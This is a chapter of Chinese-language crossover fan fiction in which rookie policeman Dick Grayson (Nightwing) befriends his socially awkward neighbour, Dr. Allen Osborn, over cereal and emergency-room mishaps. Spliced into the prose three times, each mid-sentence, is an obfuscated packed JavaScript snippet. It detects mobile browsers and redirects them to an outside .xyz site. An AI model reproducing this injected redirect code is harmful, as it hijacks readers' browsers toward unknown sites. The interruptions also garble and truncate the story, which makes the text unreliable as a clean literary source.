医生脚下的皮鞋手工的,身上的衣服定制的,家居服也是昂贵的天然蚕丝,加上他几乎为零的独立生活能力,这家伙从头到脚都流淌着罪恶的富贵气息。迪克几乎可以肯定艾伦·奥斯本就是个在湖滨大道长大、从小到大一直上私立学校或者接受家庭教育、住着庄园每天有管家和仆人服务、压根连厨房都不知道在哪里的家伙。 艾伦表情严肃,语气诚恳:“我现在没钱。” 现在。 迪克恍然大悟,然后立刻脑补了一大堆——从争夺遗产被驱逐到家族破产猜了个遍——直到医生十分僵硬地又对他说了句他几乎听不清楚的感谢。 然后,两人开始大眼瞪小眼。 因为按照一般的社交礼仪,感谢之后对方也许会发出一起吃饭之类的友好信号,尤其奥斯本医生的厨房已经遭到毁灭式袭击的情况下……迪克已经在想合适的餐厅了——他真的对医生很好奇,并且想要和医生维持一种好友关系。 毕竟按照他们——尤其是他本人和夜翼——与急诊科的关系,以后他大概率是要经常看见医生的。何况作为邻居,他挺想和奥斯本医生交个朋友。 然而艾伦只是盯着他看,手里别扭的擦桌子姿势也停下了,似乎在等待他继续往下说。 失去了平光眼镜的医生好像失去了某种严肃的气场,并且他完全没意识到自己脸颊上还有刚刚层上去的灰。 迪克的目光不由自主地落在艾伦鼻尖侧面一颗小小的红痣上,突然就忘记了自己刚刚要说的话。 有点怪怪的,但说不上来哪里怪。迪克不自觉地抬手,摸了摸自己的鼻子。 可惜他接近满点的社交技能似乎总是戳不到奥斯本医生的脑电波。 不过虽然医生奇奇怪怪的,但迪克还是对他有极高的初始好感度。绿眼睛红头发起了一点小小的作用,救下埃里克的命以及精湛的急救手法占了更大的比重,迪克愿意相信一个在大街上冒险拯救别人的年轻人是个善良的好人。 也愿意相信一个能轻易炸了厨房的家伙只是厨房杀手而不是变态杀手。 好人有点怪毛病怎么了? 至少医生没穿上紧身衣在夜里到出游荡,彻夜不归,或者在韦恩塔上和女反派接吻。 艾伦继续盯着迪克看,半点儿没意识到自己的目光过分直接,在这种社交距离下显得有点不够礼貌。 他心里再度浮现起熟悉的疑惑。 他不知道这家伙欲言又止的样子想要表达什么,按照他们交流的话语和前后逻辑关系,他以为他们的对话已经结束了。他表达了感谢,对方说不用谢,那么接下来对方不是应该像康纳斯博士那样在他的示意下自觉离开,又或者像讨人厌的盲眼律师一样自己去做自己的事吗? 还是这家伙有别的目的?? 他现在只是个没钱的小医生,一个月工资不到5000刀,有值得关注的地方吗? ……不会真的和纽约那边的人有关吧。 艾伦心里一瞬间涌起无数不那么美妙的想法,每个想法都可以让对方脸上的笑容一秒消失,但他克制住了。 两人就这么看着对方,都在等待对方出牌。直到迪克对着艾伦逐渐茫然的表情恍然大悟——他怀疑医生又把他名字忘记了,并且还死不承认。 艾伦确实忘了。 所以他也在等迪克主动做自我介绍。 看着医生纠结了半天最后又紧紧抿在一起的嘴唇和皱起来的眉头,迪克忍不住更想笑了。 他发现自己轻而易举地原谅了医生三次忘掉他的名字。 好吧好吧,这是善良勇敢的医生、年轻人、邻居以及美貌的特权。 于是迪克主动邀请:“你还没吃晚饭对吗?我猜急诊科的工作可不比警局好多少,所以你要来我家吃一点生命维持餐吗?我保证尽力把麦片做得比煮鸡蛋有滋味一点。” 艾伦在恍惚间又看见了一只萨摩耶在朝着他毫无意义地傻笑,里面藏着他暂时理解不了的社交行为和人类情感。 也不知道是怎么想的,等他反应过来的时候已经坐在好心邻居家里吃麦片了。 其实按照他的性格,他应该会马上拒绝这个要求,并且甩给帮忙清洁地板和微波炉的好心邻居一张支票作为感谢——但在布鲁德海文医院给他发工资之前,他现在的账户里一分钱都没有,他最多把兜里的十美元全都换成硬币送给格雷森警官。 艾伦又吃了一大口麦片。突然想起讨人厌的律师告诉过他,他可以放心大胆接受别人的帮助,然后真心实意地向对方表达感谢,注意要用对方能够接受的方式。 他抬头看了迪克一眼,心想,那他送警察一把枪或者炸弹,要不然毒气弹也行。 工资到手就去搞,警察应该会喜欢。 真穷啊。 艾伦暗暗叹了口气,他连毒气弹都拿不出来。 任谁恐怕都想不到,半个月前他还在曼哈顿上东区的豪宅里当着他那个冷酷傲慢的混蛋老爸的面,摔碎了一个能买下至少二十栋他脚下这种老旧公寓的装饰品——那个长得像心脏的丑东西来自他亲爱的、爱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14805821|158506||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 钻牛角尖的傲慢弟弟哈利·奥斯本。 一想到诺曼·奥斯本和哈利·奥斯本,艾伦的脸色更糟糕了。 迪克忍不住关心:“我的麦片应该还没有难吃到无法下咽的地步吧?真的很不合你的胃口吗?” 艾伦摇摇头,实话实说:“这是我吃过的最好吃的麦片。” 迪克为这种过分夸张的赞美表达了欣赏:“我也爱麦片!如果你喜欢,我可以给你推荐我最爱的牌子。偶尔超市会打折,我还可以送你优惠券!” 艾伦点点头,动作优雅,半点儿看不见刚刚擦地板时候的狼狈:“……谢谢你,警官先生。” 一回生二回熟,他今天已经说了第三次谢谢,还是对着同一个人。 讨人厌的律师和恶魔尖角紧身衣怪男应该会很欣慰,他今天应该不再像个不会和人类正常交流的怪胎了。 这是个不错的进步,他躺在墓园里的妈妈艾米丽应该也会为他开心的。 艾伦用勺子搅动了一下碗里的麦片,然后盯着那些形状不规则的几何图案有些出神。 实际上他吃什么都行,之前被关在实验室的时候他尝试过只吃自己研制的营养剂整整一个月。 只可惜他那每个毛孔里都流淌着罪恶的资本家父亲诺曼·奥斯本把他和团队研发的营养剂卖出了天价,现在他这个研发者本人也买不起。 像今天这样和别人坐在同一张餐桌上平静吃饭——没有争吵、没有命令、没有奥斯本公司和该死的、延续生命的药剂方程式——这样的场景对艾伦来说称得上十分新奇。 自从艾米丽从奥斯本大楼楼顶上一跃而下之后,就再也没有人关心他的一日三餐并邀请他共进晚餐了,除了一个喜欢多管闲事的律师、一个多管闲事的紧身衣怪男和另一个多管闲事的三明治狂热爱好者。 讨厌鬼律师(他刻意忘记了混蛋律师的名字)曾是他母亲艾米丽的好友,在艾米丽生前曾经帮她打过离婚官司。 在法律意义上,艾米丽胜诉了,但诺曼·奥斯本从来不是遵纪守法的有钱人,何况诺曼·奥斯本不是一般的有钱。 艾伦又吃了一口麦片。 他可没骗人,这确实是他吃过的最好吃的麦片,因为他今天第一次吃。 艾米丽…… 记忆中的女人神色温柔,会在他受伤的时候搂着他温声说些他不理解的话,告诉他其实他和一般的小孩没什么区别,并且严厉要求他不可以伤害别人,更不要听诺曼·奥斯本的话。 艾米丽还会为了他和诺曼·奥斯本竭力争辩,抛弃所有的冷静优雅,变得像个疯子。 只可惜艾米丽是诺曼·奥斯本刻意为自己挑选的理想妻子——结婚前的她只是个毫无家世背景的普通人。 艾米丽的死亡并不涉及什么悬疑凶杀案,那只不过是一个无能为力的母亲绝望之下选择了结束自己的生命而已。 艾米丽想用自己的生命为一直在诺曼·奥斯本掌控之下的儿子们争取一丝自由的可能,让艾伦和哈利都摆脱老奥斯本的控制,尤其是几乎从来没有接触过外部世界的艾伦。但她还是低估了资本的力量和老奥斯本的冷血程度——这桩豪门夫人跳楼的秘辛压根没有溅起多大的水花,不多久就被更多猎奇的新鲜事掩盖过去了。 诺曼·奥斯本对外宣称艾米丽在生下哈利后就患上了产后抑郁,最后跳楼轻生。 头发花白看上去得有七十多实际上只有五十多的老奥斯本假惺惺地坐着轮椅出席了葬礼,并当众宣布他不会再娶妻,因为艾米丽是他最爱的妻子。 这位表演艺术家真切的眼泪让奥斯本的名声更上一层楼,就连现在还有花边小报为深情的奥斯本先生歌颂爱情。 艾伦垂下眼睫。 奥斯本家每个人之间都拥有彼此憎恶的双箭头,憎恶之下似乎又带着一丝令人疑惑难以割舍的联系,简直就像刻在血脉里的诅咒。 所以艾伦选择按照母亲的嘱托,远离纽约,努力当个‘好人’。他会看着诺曼·奥斯本自取灭亡,至于哈利……母亲说过,哈利不是他必须承担的责任,他要做的是先照顾好自己。 可是逆转录病毒增生这种病尚未得到彻底解决,他和哈利早晚也会有被卷入的一天。 艾伦想起最近听到的传言。 有人带着一份引人注目的‘礼物’途径布港——他正是为此而来。 迪克的手在艾伦眼前挥了挥,把正在出神的医生唤回来。 “你还好吗?”迪克关心道,“你看上去有点难过?” 艾伦回过神:“不,我只是想到了一件有趣的事。今天谢谢你的麦片,查理警官。” 迪克:“……不用客气,艾伦。” “我认为麦片确实很不错,不用谦虚,查理警官。” “如果有可能的话,下次别再叫我查理了,我叫理查德,或者迪克。” 艾伦:“……哦。” 4. 我的好邻居? “晚上好,艾伦!” “……晚上好,警官。” 艾伦和迪克一前一后走上楼,迪克已经十分习惯走在艾伦前面,将后背暴露给医生。 这是最近他数次和奥斯本医生在楼梯上偶遇之后被迫养成的习惯。 他和奥斯本医生似乎都拥有‘走在狭窄的楼梯上身后不能有陌生人’的‘好习惯’,在僵持过好几次之后,是迪克选择了妥协——他觉得经过这么久的相处,他应该已经可以把医生划分在安全范围内了,不用担心医生偷袭他。 这都要怪蝙蝠侠。 他过分的警惕心总是在医生盯着他的后背看的时候让他汗毛直竖,挺直脊背,动作僵硬。 之前连续一周的早上他都会和艾伦在狭窄的楼梯间相遇,然后他会努力让医生先走,而医生坚持站在原地拿那双绿眼睛看着他——因此这个月他和艾伦加起来一共迟到14次了。 那个星期医生看上去很生气——虽然除了他好像没人能从那张冷冰冰的脸上看出来——但他发现医生已经气到自己学着煮麦片吃,而不是抱着麦片趁他出门的时候悄悄把门打开一条缝了用那双绿眼睛盯着他看了。 他已经看出来了,以前医生身边绝对随时随地跟着一个帮他处理杂事的高级助理——医生一个眼神就能秒懂的那种万能助理,这才让奥斯本医生养成一种比布鲁斯还布鲁斯的生活习惯,脱离管家之后,不长嘴的富家少爷会变成废物。 好消息是他和医生的关系突飞猛进。 他接受了医生的一份小礼物,然后顺着那把枪的线索端掉了一个非法售卖枪支的窝点,同时让医生接受了要去正规店铺购买|枪支弹药的好公民观点……是的他妥协了,医生有持枪证。 虽然之后他连续好几天都在担心医生会不会不小心把枪放在微波炉里加热。 迪克一边上楼一边向后看:“今天过得怎么样,医生?” “……还不错。”艾伦回答,“我差点被酒鬼打了一拳,所以我回敬了他一脚;然后从一块臀大肌里取下一颗子弹;下午处理了一个被病人尿出来放射源,又帮两个蠢货把灯泡从嘴里取出来了。十分有趣的一天……哦对,我还给一个人放了气。” “……给人放气?”迪克发出疑惑的声音。 “……他一屁股坐在了汽车轮胎充气泵上——谷歌急救员把他送过来的时候他差点爆炸。” 艾伦口中的谷歌急救员就是丹尼尔,艾伦压根没记住对方的名字,只对那家伙急救之前必须谷歌这件事印象深刻。 丹尼尔已经含泪接受了这个称呼。 迪克想象了一下那个场景,然后咧咧嘴:“……愿上帝保佑他。” 艾伦摸了摸酸痛的后腰,今天他做的心肺复苏太多了。 他没想到布鲁德海文的生活和地狱厨房差不多,每天发生的枪击案和纽约相比只多不少。而他想要查的事情却越藏越深,就好像从来都不存在一样。 他没空去查那件事其实还有一个原因——布鲁德海文急诊科实在太忙了。他的指导医生安迪·米勒每天都会给他布置一大堆任务,比如缝合一块香蕉皮或者棉花娃娃的手之类的——理由是他给一个花臂大汉缝合伤口的时候把他身上的glass缝成了ass,米勒医生的强迫症认为他的缝合技术不够完美。 他已经开始憎恨香蕉这种水果了。 “听听我的经历怎么样?”迪克在心底为急救医生掬了一把同情的眼泪,然后转身后退着走上楼梯。他笑着对艾伦眨眨眼睛,语气得意,“我今天从一个鼻孔里抢救出了一辆救护车!” 艾伦:“……?!” “五岁小男孩的鼻孔。”迪克伸出大拇指和食指,比划出一个不到2英寸的距离,“救护车有这么大。” 艾伦:“……” 迪克最近培养出了一个奇怪的爱好——想办法让医生脸上的表情发生变化。 现在奥斯本医生脸上的表情显得更符合他这个年纪了,迪克偷笑,“其实是救护车模型。后来那孩子的爸爸回家后非常生气地说一个人的鼻孔不可能塞进一辆救护车,所以你猜后来怎么着?” 艾伦不由自主又被离谱人类的故事吸引,好奇问道:“怎么了?” “我开着车再次路过他们家的时候,又一次从他爸爸的鼻孔里拯救出了这辆救护车!哦,可怜的救护车。” 艾伦忍不住露出一个小小的笑容,这次他镜片后的眼睛真心实意地弯了起来:“我猜那两个一前一后进医院的灯泡男孩也是同一个理由。人类真奇怪。” “哈哈哈……” 两个人一边说笑一边走上楼,然后停在相邻的两扇门前面,迪克对医生晃了晃手,顺便还扔过去一盒麦片:“这个牌子口感不错,我刚发现的!祝我们今天不用被临时召唤,晚安,医生。” “晚安,警官。”艾伦点了点头,把一个饭盒递给迪克,里面全是被剥了皮的香蕉尸体。 迪克接过来,又对医生挥挥手。 两人动作一致地打开门,走进房间。 一左一右对称的屋子,仅仅一墙之隔。 屋子里泛黄的墙纸已经卷边,还有可疑的褐色斑点,让人忍不住思考这栋房子之前究竟发生过什么。 公寓的内部结构相差不大,整体透着一股上个世纪老房子特有的朴素,艾伦打开灯,老灯泡闪了闪,照亮客厅。 格雷森警官和奥斯本医生的房间拥有十分相似的生活氛围。 迪克一脚踩下鞋子的同时,奥斯本医生正把一正一反的鞋胡乱塞进柜子里。 格雷森警官无视掉搭在椅背上皱巴巴的短袖和揉成一团的夜翼制服,一边往屋里走一边随手脱掉衬衫。 奥斯本医生将穿过的衣服不分颜色地一股脑塞进洗衣机,领带随手扔在沙发上,完全不去管沙发上堆成小山的医学书籍。 隔壁的格雷森警官靠近沙发,光着上身脸朝下把自己砸了进去,和沙发弹簧一起发出一声悠长的叹息。 奥斯本医生已经把沙发上的书推倒铺平,就那么毫不在意地一屁股坐了上去。 有点硌,但不是不能忍。 迪克听见隔壁房间发出咚的一声巨响,紧接着是奥斯本医生低声诅咒该死的桌子。 他怀疑奥斯本医生起身的时候不小心踢到桌角了。 医生应该有药吧,也许等会他应该去问问。 迪克迷迷糊糊地想着,丝毫没察觉到最近他已经习惯了每天见到奥斯本医生并问上一句今天吃了什么口味的麦片。 他们好像不知不觉就成了朋友——菜鸟警察和实习医生简直有太多共同话题,他们都在一份新工作的适应期,每天都有无数机会吐槽上司和同事。 他们还天天都能给对方送业绩。 他给艾伦送过枪伤患者和一大群打架斗殴不小心戳破了肚子的小混混,艾伦回赠给他被受害者砍伤大动脉的抢劫犯和被咬掉丁丁的□□犯。 因此他们的关系进展飞快——医生已经不会再对着他叫查理了,他们之间的称呼变成医生和警官,偶尔医生还会调侃地叫他电锯警察,因为他出警随身携带电锯这件事让艾伦印象深刻。 而他偶尔会叫医生厨房杀手或者麦片医生,顺便看医生脸上露出郁闷的表情。 在一座陌生城市有个拥有共同语言的朋友,还能每天一起吃饭吐槽简直让他减少了太多压力,迪克心满意足,他已经开始爱上布鲁德海文这座城市了。他和纽约搬来的奥斯本医生一起,正在慢慢适应这座城市,然后被打上属于这座城市的标记。 很快,疲劳过度的警察先生就这么昏昏沉沉地睡了过去——现在他每天睡觉时间绝对超不过四个小时,但是他又没有完美可靠的阿福帮忙,这导致他还得从为数不多的睡眠时间里偷偷学习缝纫。 其实我和蝙蝠侠还是有很大区别的,迪克感觉自己的灵魂飘在空中,他盯着地上腌菜一样皱巴巴的制服心想——至少我们收纳制服的方式不一样。 他觉得奥斯本医生一定能理解他。 耳边隐隐约约传来隔壁的医生对着麦片食用说明絮絮叨叨的声音。 没办法,老公寓的隔音效果实在不太行,迪克已经迫不得已地发现了医生的小秘密—— 奥斯本医生有个可爱的小习惯,当他自己一个人在房间里的时候喜欢自言自语,睡前还会给自己念童话故事听。 搞得他最近被迫重温了《小美人鱼》、《小红帽》和《白雪公主》,对里面会说话的魔镜更感兴趣了。 迪克又听见医生正在哼唱一首最近流行的摇滚乐。 艾伦并不知道隔壁住着一个耳聪目明想听不见都不行的义警,他过往的生活常识从来没告诉过他有的房子不隔音。 艾伦为数不多的熟人打了电话过来,说出来的话能让密集恐惧症患者害怕到想跳楼。 不过艾伦已经习惯了。 “……放心吧,我已经见过哈利了,他最近过得还不错。”电话那头的声音十分青春活力,“你呢?最近过得怎么样?” 彼得·帕克,即将进入帝国大学的新生,是和艾伦一起长大的邻居。艾伦大了彼得三岁,因理查德·帕克的缘故,艾伦总是会不自觉多关注彼得一些。 “还不错。”艾伦说道,“我猜哈利嘴里没说出什么好话,他让你滚了吗?” “……那倒是没有,虽然我们很多年没见了,但哈利对我还是挺友善的。”彼得的声音听上去像是完全不在意这一点,“他只是说我没机会参加奥斯本先生的葬礼是件非常遗憾的事,还说你应该把所有研究成果都扔掉,否则葬礼就能如期举行了——我猜诺曼·奥斯本先生听见会很伤心。” 艾伦发出一声清晰的嗤笑。 彼得在那边叹了口气:“我也见到奥斯本先生了,他看上去比之前好很多,你的研究很有效。只可惜我这边还没有任何进展。” 老 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14805822|158506||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 奥斯本这些年其实一直躺在病床上,直到艾伦和彼得一起找到了曾经属于理查德·帕克的秘密基地。 他们通过彼得父亲留下的遗物发现了一个废弃的地铁站,里面居然许多基因药剂的半成品。但奇怪的是,理查德·帕克留下来的资料中没有任何关于这批药剂的线索。 彼得最近正在查,他怀疑他爸爸妈妈根本不是什么普通的科研人员。 “你们两个幼稚得不像大学生。”艾伦评价道,“希望你没有向他透露我的踪迹。” “当然没有。”彼得说道,“所以你究竟准备什么时候去见哈利?” 彼得知道,如果不是艾伦和哈利的母亲艾米丽跳楼,恐怕老奥斯本先生绝对不会把哈利从国外接回来。 艾伦和哈利同父同母,但哈利11岁就被老奥斯本送走去国外读寄宿学校,和一直留在纽约的艾伦待遇天差地别。 两兄弟截然不同的待遇是老奥斯本刻意为之,哈利为此一直十分怨恨他的父亲和哥哥。 多年没有回过家的哈利·奥斯本对老奥斯本终于从病床上坐起来这件事表达了深切的遗憾,同时虚伪地对哥哥放弃继承奥斯本集团表达了略有些尖酸刻薄的嘲讽,他回来的第一件事就是试图从诺曼·奥斯本手里夺权。 “他不想见我,正好我也没有见他的兴趣。”艾伦努力回忆了一下11岁时的弟弟,然后把那个肉嘟嘟、一脸怒火的小屁孩和如今高挑瘦削,面容棱角分明的哈利对应起来。 彼得又叹了口气:“我不太放心你,别告诉我你又是一天三餐营养剂。” 艾伦:“……你别像蜘蛛人一样爱多管闲事。”他买不起营养剂。 彼得噎了一下,然后想起来自己一直没敢告诉艾伦他的另一重身份。艾伦之前一直觉得蜘蛛侠偷偷在半夜给他送烤面包和三明治是不安好心,又或者有偷窥跟踪的怪癖。天知道他听艾伦说这句话的时候有多想为自己辩解,他只是担心艾伦自己把自己饿死而已。 不过他觉得哈利迟早会找到艾伦。哈利看起来气得快爆炸了,明明很想念艾伦又死活不肯承认,所以正等着查艾伦的信用卡消费地点呢。 不过艾伦好像一直没用过信用卡,不知道他这段时间到底怎么过的。 想到这一点,彼得更担心了。 艾伦哼笑一声。 这就是他光明正大来布鲁德海文的原因,他的傻弟弟肯定拉不下面子来找他,只要他不动信用卡以及和奥斯本家有关的账户,哈利绝对找不到他。 至于地狱厨房的那个紧身衣怪男和讨厌鬼律师……他们肯定都不会离开地狱厨房,守护地狱厨房比他这个浑身上下充满罪恶、值得所有义警防备的家伙重要不知道多少倍,他可以清净一段时间了。 两人又聊了些近况,直到艾伦有些迟疑地询问彼得:“如果……我是说如果,一个人多次帮了你忙,是不是应该送个礼物道谢?我是说除了枪之外的礼物,你们现在都流行送什么?” 他说的是迪克。 艾伦之前的生活一直有人照料,他想要什么都会有人帮他弄好。 他也不会熨平衬衫,不会打理皮鞋,更不太会给自己做饭。 所以这周他的领带都是迪克顺手帮他打理的,除了在医院吃饭就靠着迪克的麦片接济。他终于迟钝地感觉自己好像应该再表达一下感谢,一把枪实在有点上不的台面——他始终觉得应该给迪克一张大额支票,但是他现在也是穷光蛋,支票已经不是他能承受的了。 “……你这样真的没有问题吗?”电话那头的彼得忧心忡忡,“梅也很担心你……” “当然没有问题,我是心智健全的成年人,能照顾好自己。” 彼得咧咧嘴,没有反驳倔强的奥斯本少爷。 他认识的艾伦·奥斯本一直都生活在一栋大别墅里,只会在实验室和别墅两地往返,像个矜贵的王子。 所以艾伦决定自己去读医学院的时候他就差点惊掉眼珠子。 艾伦的医学院甚至还是自费的,因为老奥斯本希望他读商学院。 但艾米丽的跳楼不是没有影响,诺曼为了维护奥斯本集团在媒体面前的形象,暂时不准备对艾伦做过多限制,他在扮演一个慈爱的父亲形象。 “好吧,如果需要帮助,一定要告诉我。”彼得叹了口气,同时又觉得有些欣慰,“梅想给你寄一件毛衣,我过两天给你送过去……别拒绝。我们还是先聊一聊关于你乐于助人的新朋友吧,我真的为你开心,艾伦,交到新朋友是件相当棒的事对吧?” 隔壁警官的身影浮现在艾伦脑海中,他下意识想否认彼得有关朋友的说法,并且重申他并不需要朋友。 但话题在另一通电话铃声中戛然而止。 电话来自布鲁德海文急诊科。 “奥斯本医生,你现在有时间吗?”电话那头是今天值班的护士,她语气焦急,“夜翼送来大量伤患,急诊科这边需要您过来帮忙!” 5. 又一个超英? 原则上,急诊科医生下班了就是真的下班了,基本上没有人会叫他们返工,更不用和患者产生太多联系。可惜这里是布鲁德海文,罪恶之城总是存在一些特殊情况。 等艾伦把领带胡乱套在脖子上,衬衫穿得歪歪扭扭地出现在急诊室的时候,这里已经乱哄哄得如同菜市场一样。 一个穿着紧身衣、脸上戴着多米诺面具的男人在所有人中显得格格不入,他笔直地站在角落里,双手环抱在胸前,用警惕的眼神盯着躺在病床上哀嚎不止的病人们。 ——这些都是罪犯。 艾伦眉头一抽,在看见紧身衣的一瞬间就条件反射地露出了嫌弃的表情。 又是超级英雄&紧身衣怪男&看起来啰哩八唆的暴力狂,总结起来一句话,和他天性不和的人。 他在纽约已经见过好多了,还和其中两个经常打交道。 他知道大都会还有一个,是莱克斯的‘暗恋对象’,他还听说隔壁的哥谭有一窝,每年都能源源不断繁殖并像快递一样发往世界各地,可怕得很。 综上所述,还是布鲁德海文比较好。 这么久了他只见到这一只黑蓝色的。 艾伦目不斜视地经过迪克身边,仿佛夜翼的特殊能力是隐身。 “奥斯本医生,多谢你来帮忙!3号治疗室有病人正在等着你,不用担心,随便治一治就行——好吧你别这样看着我,更别告诉古德曼女士我说了这话。”护士感激地一把拽住艾伦,“抱歉,今天人手实在是不够用了,已经有一部分混蛋被转移到西慈善医院,但……” “蓝色警报,蓝色警报!” 刺耳的警报声响起,急诊科的广播呼叫着对应医生的工号。护士急匆匆离开,留下艾伦和夜翼大眼瞪小眼。 “我要杀了你们!”声音粗嘎、脸上有好几道伤疤的男人正在大喊大叫,“快他妈帮我止血!艹——” 世界突然安静了。 艾伦回头一看,发现是那个紧身衣怪男用手里的棒子狠狠敲了那家伙的脑袋。 医生对紧身衣怪男好感度+0.1,现在是-99.9。 布港医院急诊科头一次显得过分拥挤,病患中,一脸衰相的罪犯和一脸倒霉样的警察们泾渭分明,以目光锐利的紧身衣怪男为分界线。 艾伦的眼睛压根懒得去看那个紧身衣超英,他不自觉看向每一个患者的臀部,发现没有熟人在场时他自己都没意识到自己松了口气。 这算是个好消息,不然他明早的麦片又没有着落了。 奥斯本医生坚决不承认,没有长出迪克的病床让他的心情指数微妙地上升了一个度。他对现在吵吵嚷嚷的场景容忍度更高了一点。 同样被紧急召唤的谷歌急救员紧紧跟在艾伦身后,向他解释前因后果——警局出动围剿一个黑邦小据点,但中途出了点意外。罪犯引爆炸弹,制造了一场可怕的恐怖袭击,这导致今晚附近每个医院的急诊科都装满了人。 更糟糕的是,今晚布鲁德海文医院也遭到了攻击。 有三个人持枪跑来重症监护室,试图谋杀即将出院的埃里克·霍森。保安和两个急诊科医生为了阻止他们也受了枪伤,其中包括艾伦的指导老师安迪·米勒。 持枪罪犯被赶来的夜翼逮了个正着,双方经过搏斗,夜翼和瘸着腿的埃里克一起把三个人逮捕了。 艾伦听得咬牙切齿。 敢动他救回来的病人,他觉得这是对他尊严的挑衅。 他并不在意埃里克,但他的病人不能死在他眼皮底下,他答应了妈妈要试着救人而不是杀人。如果埃里克死了,那上次他不是白救了? 幸好埃里克老头宝刀未老,三个罪犯现在已经被铐在警局地下室等待审讯。 然而还没等夜翼和埃里克松一口气,就听说今晚出警的警员们遇到了爆炸案。 紧接着就是全员出动的911、BPD、消防和急诊科。 一切都发生得太快,迪克匆匆从医院赶到现场的时候只来得及抓住几个没能从爆炸里逃脱,反而把自己搭进去的小啰喽。 他和警局的人一起把重伤患者送进距离最近的布鲁德海文急诊科,然后就守在了这里。 事情不太对劲,他必须从这几个侥幸从爆炸里活下来的黑邦成员口中得到更多信息。 他怀疑这里有更深的阴谋。 黑邦成员为什么要炸掉自己的基地?他们这次居然连自己帮派的成员都没放过。 过来谋杀埃里克的三个家伙也太大摇大摆了些,他们就那么光明正大地从急诊科大门口走进来对着众人开枪,就仿佛生怕别人注意不到他们一样。明明他们能用更隐蔽的方式。 埃里克·霍森现在正拄着拐杖气喘吁吁地站在迪克身边,一脸凶狠到让人分不清他究竟是黑邦成员还是警察。 他站在3号急诊室门口,有些心虚地对着艾伦打了个招呼:“医生,晚上好!” 艾伦通过他的病号服和他手腕上的腕带认出了他。 医生对着他的瘸腿和胸口的伤啧了一声:“你的住院时间至少得延长一周。我会告诉护士,以后你的病房禁止炸鸡可乐进入。还有,如果你敢死在急诊科,我发誓我会让你后悔的。” 埃里克:“……” 夜翼对着艾伦露出今晚第一个微笑:“而我会把医嘱转达给布鲁德海文警局的人,保证在他伤好之前不会有不长眼的炸鸡出现。奥斯本医生,如果有需要你可以随时联系我来没收炸鸡。” “……警察局没人会听你的,”埃里克中气十足地吐槽,“除了格雷森那个菜鸟。所以你到底给格雷森灌了什么心灵鸡汤,把他哄得成了你的小跟班?我告诉你,离我们警局的人远一点!” 听见一个熟悉的名字,艾伦扭头看向夜翼:“……格雷森?” 迪克扭头假装没看见。 艾伦指挥护士将包扎完毕的病人推出去送到观察室,终于想起来正眼看一下紧身衣怪男。 仅仅看了一眼,艾伦就马上更加嫌弃地移开了视线。 和恶魔尖角男以及蜘蛛人一模一样的品味,他不愿意再看上第二眼。 刚刚听埃里克的意思,这家伙似乎认识他的邻居。 他只想让这些怪人离他和他邻居都远一点。 电锯警官是他以后准备聘请的麦片管家,他不希望管家的生活被超级英雄打扰。 他的计划是在布鲁德海文得到想要的东西就马上回纽约分走诺曼·奥斯本的财产,并且带走迪克给他专职做麦片吃。 ……最好那时候诺曼·奥斯本的财产已经变成遗产。 迪克并不知道医生已经给他准备了新的高薪工作岗位,并且丝毫没有过问他意愿的意思。 他看见医生对着他嫌弃地抬起下巴:“管好你自己的事。” 迪克自动理解为嘴硬的奥斯本医生在担心夜翼的安全——等价于是关心格雷森警官了,所以他十分愉快地回答:“好的,谢谢你,医生。”谢谢麦片医生对电锯警官的关心,电锯警官收到了。 所以明早可以给医生煎个爱心鸡蛋,再加两片生菜,面包烤得脆一点,再顺手帮医生把衬衫熨一下,洗衣机里的衣服肯定得拿出去晾好。 艾伦又哼了一声,挥手示意烦人的超级英雄走远一点别妨碍他救人。 另一张病床从夜翼身边咕噜噜滚过,夜翼今晚的重点关注对象终于被推进诊室,开始对着艾伦十分没礼貌地大呼小叫。 艾伦手里的剪刀正准备剪开他的裤腿。 “当心点我的腿,医生。”哪怕现场有很多警察,但他依旧嚣张,“如果你治不好的话……我猜你不会想知道你妈妈参加你葬礼的心情。” 迪克警惕的眼神扫过来,手中的卡里棍威胁地扬起:“我猜你爱上了我的棍子,是准备再挨一顿打吗?乐意效劳。” 罪犯面色难看地扯了扯嘴角。 他刚想再嘴贱几句,结果却突然看见了奥斯本医生眼里不加掩饰的冷意。 他下意识地打了个哆嗦,为这股突如其来的寒冷疑惑了一下。却又下意识的不敢反抗。 ……就好像,他再多说几句就会有更严重的后果一样。 艾伦的手顿了一下。 指尖触碰到塞在内兜里的挥发性毒药,他的目光落在明晃晃的手术刀上。 视线瞟到大厅里,艾伦看见某个受害者家属正用愤怒的眼神看着这边。他知道,只需要现在有人不经意在对方耳边说一句什么,他应该就会冲进来大闹一场,导致急诊室里的蠢货出现一点小问题。 病床上的家伙一直嚷嚷着胸口痛和腹痛,虽然病人神志清楚,对答如常,生命体征平稳,呼吸音基本对称,艾伦能确定他就是并不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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闻言,他抬头去看安迪·米勒:“我没有情绪。我只是讨厌对我没礼貌的人。” 